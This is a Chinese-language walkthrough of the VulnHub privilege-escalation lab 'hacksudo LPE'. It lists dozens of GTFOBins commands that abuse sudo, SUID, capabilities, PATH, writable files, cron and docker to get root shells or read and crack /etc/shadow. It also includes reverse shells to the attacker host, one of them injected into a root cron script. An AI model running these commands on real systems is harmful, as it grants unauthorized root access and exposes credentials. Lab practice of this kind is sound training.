一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:hacksudoLPE(10.0.2.47)
目标:获取靶机root权限和flag,该靶机是一个练习提权的靶场,主要以提权为主
靶机下载地址:https://www.vulnhub.com/entry/hacksudo-lpe,698/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.47
使用nmap端口扫描发现,靶机开放端口:22、80
80端口:打开网站发现是一个登录页面,先查看源码发现了隐藏信息:
<font color='white'>
<h3>Username : admin</h3>
<h3>Password : hacksudo</h3>
</font>
使用获得的用户名密码登录网站
三、提权
Challenge 1:Sudo滥用挑战
1)apt-get
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行apt-get
搜索利用方法:apt get | GTFOBins
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
获取flag:viluhacker
所有flag都是一样的为/root/root.txt
文件,后续不再附截图了
2)arp
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行arp
搜索利用方法:arp | GTFOBins
LFILE=/etc/shadow
sudo arp -v -f "$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格
切换为root用户
获取flag:viluhacker
3)awk
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行awk
搜索利用方法:awk | GTFOBins
sudo awk 'BEGIN {system("/bin/sh")}'
获取flag:viluhacker
4)base32
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行base32
搜索利用方法:base32 | GTFOBins
LFILE=/etc/shadow
sudo base32 "$LFILE" | base32 --decode
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
5)base64
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行base64
搜索利用方法:base64 | GTFOBins
LFILE=/etc/shadow
sudo base64 "$LFILE" | base64 --decode
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
6)cat
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行cat
搜索利用方法:cat | GTFOBins
LFILE=/etc/shadow
sudo cat "$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
7)comm
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行comm
搜索利用方法:comm | GTFOBins
LFILE=/etc/shadow
sudo comm $LFILE /dev/null 2>/dev/null
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
8)cp
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行cp
搜索利用方法:cp | GTFOBins
LFILE=/etc/shadow
sudo cp "$LFILE" /dev/stdout
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
9)curl
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行curl
搜索利用方法:curl | GTFOBins
LFILE=/etc/shadow
sudo curl file://$LFILE
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
10)cut
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行cut
搜索利用方法:cut | GTFOBins
sudo cut -d "" -f1 /etc/shadow
获取flag:viluhacker
11)dash
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行dash
搜索利用方法:dash | GTFOBins
sudo dash
获取flag:viluhacker
12)date
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行date
搜索利用方法:date | GTFOBins
LFILE=/etc/shadow
sudo date -f $LFILE
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
13)diff
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行diff
搜索利用方法:diff | GTFOBins
LFILE=/etc/shadow
sudo diff --line-format=%L /dev/null $LFILE
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
14)find
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行find
搜索利用方法:find | GTFOBins
sudo find . -exec /bin/sh \; -quit
获取flag:viluhacker
15)ftp
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行ftp
搜索利用方法:ftp | GTFOBins
sudo ftp
!/bin/sh
获取flag:viluhacker
16)gcc
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行gcc
搜索利用方法:gcc | GTFOBins
sudo gcc -wrapper /bin/sh,-s .
获取flag:viluhacker
17)gdb
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行gdb
搜索利用方法:gdb | GTFOBins
sudo gdb -nx -ex '!sh' -ex quit
获取flag:viluhacker
18)ip
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行ip
搜索利用方法:ip | GTFOBins
LFILE=/etc/shadow
sudo ip -force -batch "$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
19)pip
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行pip
搜索利用方法:pip | GTFOBins
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
靶机没有安装pip,提权不了
20)perl
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行perl
搜索利用方法:perl | GTFOBins
sudo perl -e 'exec "/bin/sh";'
获取flag:viluhacker
21)socket
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行socket
搜索利用方法:socket | GTFOBins
攻击机执行:
nc -l -p 12345
靶机执行:
RHOST=10.0.2.15
RPORT=12345
sudo socket -qvp '/bin/sh -i' $RHOST $RPORT
获取flag:viluhacker
22)vi
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行vi
搜索利用方法:vi | GTFOBins
sudo vi -c ':!/bin/sh' /dev/null
获取flag:viluhacker
23)view
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行view
搜索利用方法:view | GTFOBins
sudo view -c ':!/bin/sh'
获取flag:viluhacker
24)wget
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行wget
搜索利用方法:wget | GTFOBins
TF=$(mktemp)
chmod +x $TF
echo -e '#!/bin/sh\n/bin/sh 1>&0' >$TF
sudo wget --use-askpass=$TF 0
获取flag:viluhacker
25)watch
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行watch
搜索利用方法:watch | GTFOBins
sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
获取flag:viluhacker
26)xxd
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行xxd
搜索利用方法:xxd | GTFOBins
LFILE=/etc/shadow
sudo xxd "$LFILE" | xxd -r
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
27)zip
登录虚拟终端后,sudo -l
查看一下具有sudo
权限的程序,发现可以无密码以root权限运行zip
搜索利用方法:zip | GTFOBins
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
获取flag:viluhacker
Challenge 2:SUID滥用挑战
1)ar
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
搜索利用方法:ar | GTFOBins
TF=$(mktemp -u)
LFILE=/etc/shadow
./ar r "$TF" "$LFILE"
cat "$TF"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
2)ash
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
r00t和ash文件字节数一样,r00t文件应该是ash
搜索利用方法:ash | GTFOBins
./r00t -p
获取flag:viluhacker
3)atobm
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
未发现该程序
搜索利用方法:atobm | GTFOBins
LFILE=/etc/shadow
./atobm $LFILE 2>&1 | awk -F "'" '{printf "%s", $2}'
4)base32
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是为base32
搜索利用方法:base32 | GTFOBins
LFILE=/etc/shadow
./dont "$LFILE" | base32 --decode
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
5)bash
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
搜索利用方法:bash | GTFOBins
./bash -p
获取flag:viluhacker
6)cat
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是为cat
搜索利用方法:cat | GTFOBins
LFILE=/etc/shadow
./hackme "$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
7)chmod
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是为chmod
搜索利用方法:chmod | GTFOBins
LFILE=/etc/shadow
./run 6777 $LFILE
cat /etc/shadow
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
8)chroot
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是chroot
搜索利用方法:chroot | GTFOBins
./rootme / /bin/sh -p
获取flag:viluhacker
9)cp
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是cp
搜索利用方法:cp | GTFOBins
LFILE=/etc/shadow
./do "$LFILE" /dev/stdout
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
10)cpulimit
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是cpulimit
搜索利用方法:cpulimit | GTFOBins
./take -l 100 -f -- /bin/sh -p
获取flag:viluhacker
11)cut
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序是cut
搜索利用方法:cut | GTFOBins
LFILE=/etc/shadow
./cut -d "" -f1 "$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
12)dash
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
搜索利用方法:dash | GTFOBins
./shell -p
获取flag:viluhacker
13)date
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序为date
搜索利用方法:date | GTFOBins
./date -f /etc/shadow
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
14)make
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
发现该程序为make
搜索利用方法:make | GTFOBins
COMMAND='/bin/sh -p'
./fast -s --eval=$'x:\n\t-'"$COMMAND"
获取flag:viluhacker
Challenge 3:Capabilities滥用挑战
1)gdb
登录虚拟终端后,getcap -r / 2>/dev/null
查看可执行的文件,来获取内核权限
发现没有回显,getcap 命令不存在
我们先看一下当前用户home目录下所有文件,发现在./capabiliti/rip4/hack8
文件夹里面有一个gdb文件,根据挑战提示,应该是要用gdb文件进行提权
ls -R -la
搜索利用方法:gdb | GTFOBins
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
获取flag:viluhacker
2)node
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,发现一个node文件,根据挑战提示,应该是要用node文件进行提权
搜索利用方法:node | GTFOBins
./node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
获取flag:viluhacker
3)perl
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,发现一个perl文件,根据挑战提示,应该是要用perl文件进行提权
搜索利用方法:perl | GTFOBins
./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
获取flag:viluhacker
4)php
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,发现两个php文件,根据挑战提示,应该是要用php文件进行提权
搜索利用方法:php | GTFOBins
CMD="/bin/sh"
./php -r "posix_setuid(0); system('$CMD');"
获取flag:viluhacker
5)python
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,发现一个python文件,根据挑战提示,应该是要用python文件进行提权
搜索利用方法:python | GTFOBins
./python -c 'import os; os.setuid(0); os.system("/bin/sh")'
获取flag:viluhacker
6)ruby
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,但该用户home文件夹下的文件夹太多了,我们直接用find命令进行查找find ./ -name ruby
,发现一个ruby文件,根据挑战提示,应该是要用ruby文件进行提权
搜索利用方法:ruby | GTFOBins
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
获取flag:viluhacker
7)python3
登录虚拟终端后,ls -R -la
查看当前用户home目录下所有文件,发现一个python3文件,根据挑战提示,应该是要用python3文件进行提权
搜索利用方法:python | GTFOBins
./python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
获取flag:viluhacker
Challenge 4:PATH 变量滥用
1)apt-get
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
直接执行该文件看看,发现该文件调用了apt-get命令
可以用strings查看该文件包含的字符串strings /home/user53/shell
可以通过更改系统的环境变量来进行提权
cd /tmp
echo "/bin/sh" > apt-get
chmod 777 apt-get
echo $PATH
export PATH=/tmp:$PATH
/home/user53/shell
获取flag:viluhacker
2)ftp
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
可以用strings查看该文件包含的字符串strings /home/user54/run
直接执行看看
应该是该文件先设置uid然后调用了ftp命令,可以通过更改系统的环境变量来进行提权
cd /tmp
echo "/bin/sh" > ftp
chmod 777 ftp
export PATH=/tmp:$PATH
/home/user54/run
获取flag:viluhacker
Challenge 5:可写文件滥用
1)/etc/passwd
登录虚拟终端后,查看/etc
目录,并未发现该用户对passwd文件具有写权限,但在该用户的home目录下发现具有suid权限的curl文件
可以利用curl文件读取shadow文件进行破解提权,但本次挑战既然是/etc/passwd可写文件滥用,那我们就通过写入/etc/passwd文件的方式进行提权
利用Perl和crypt来使用salt值为我们的密码生成哈希值
perl -le 'print crypt("123456","addedsalt")'
将靶机的passwd复制到攻击机,在passwd添加一条数据,用户名:test 密码: 123456 登录主机,登录成功后,是 root 权限
test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash
使用curl命令将passwd上传到靶机,覆盖靶机passwd文件
查找curl具体用法:curl | GTFOBins
cp /etc/passwd /tmp/passwd.bak
URL=http://10.0.2.15/passwd
LFILE=/etc/passwd
./curl $URL -o $LFILE
查看/etc/passwd
发现存在test用户
切换为test用户,为root权限
获取flag:viluhacker
2)script
登录虚拟终端后,ls -la
查看当前用户home目录下的文件,发现一个writable.py文件,该文件具有suid权限
查看writable.py
文件的内容,发现该文件调用了os、sys模块,并且尝试修改该文件,发现没有修改权限
想到调用了os、sys模块,是不是可以修改os或sys模块来达到提权的目的。未发现可编辑的模块。也可能是我思考的方向不对。
扩展:user59用户提权
登录虚拟终端后,查看计划任务:cat /etc/crontab
,发现每分钟会以root权限执行/home/user59/cleanup.py
文件
查看该脚本文件,发现我们有该文件的编辑权限
可以修改该文件进行提权
bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'
获取flag:viluhacker
Challenge 6:文件读取滥用
1)cpio
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
搜索利用方法:cpio | GTFOBins,可以读取任意文件
LFILE=/etc/shadow
TF=$(mktemp -d)
echo "$LFILE" | ./cpio -R $UID -dp $TF
cat "$TF/$LFILE"
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
2)git
登录虚拟终端后,find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件
搜索利用方法:git | GTFOBins,可以读取任意文件
LFILE=/etc/sh
./git diff /dev/null $LFILE
读取/etc/shadow
文件获取root用户的密码,使用john工具进行爆破得到root用户的密码为六个空格,切换为root用户
获取flag:viluhacker
Challenge 7:Docker 滥用
1)docker
登录虚拟终端后,使用id
命令发现用户在docker组里面,可以使用docker进行提权
使用命令:docker images
,用于查看本地已下载的镜像,刚开始镜像是不存在的,需要自己进行导入docker pull alpine
由于我的环境靶机和互联网不通,我使用的是离线导入,使用安装登录docker的虚拟机导入镜像,然后将镜像打包上传到靶机
主机导入镜像并打包
sudo docker pull alpine
docker save alpine:latest -o /home/huang/alpine.tar
靶机离线导入镜像
docker load -i alpine.tar
搜索利用方法:docker | GTFOBins
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Challenge 8:通配符滥用
1)Wildcard
尝试登录虚拟终端,发现不存在该用户名wildcard,没有环境。
靶机上倒是有用户名user61,可能是通配符提权的环境,但登录进去没有找到提权思路。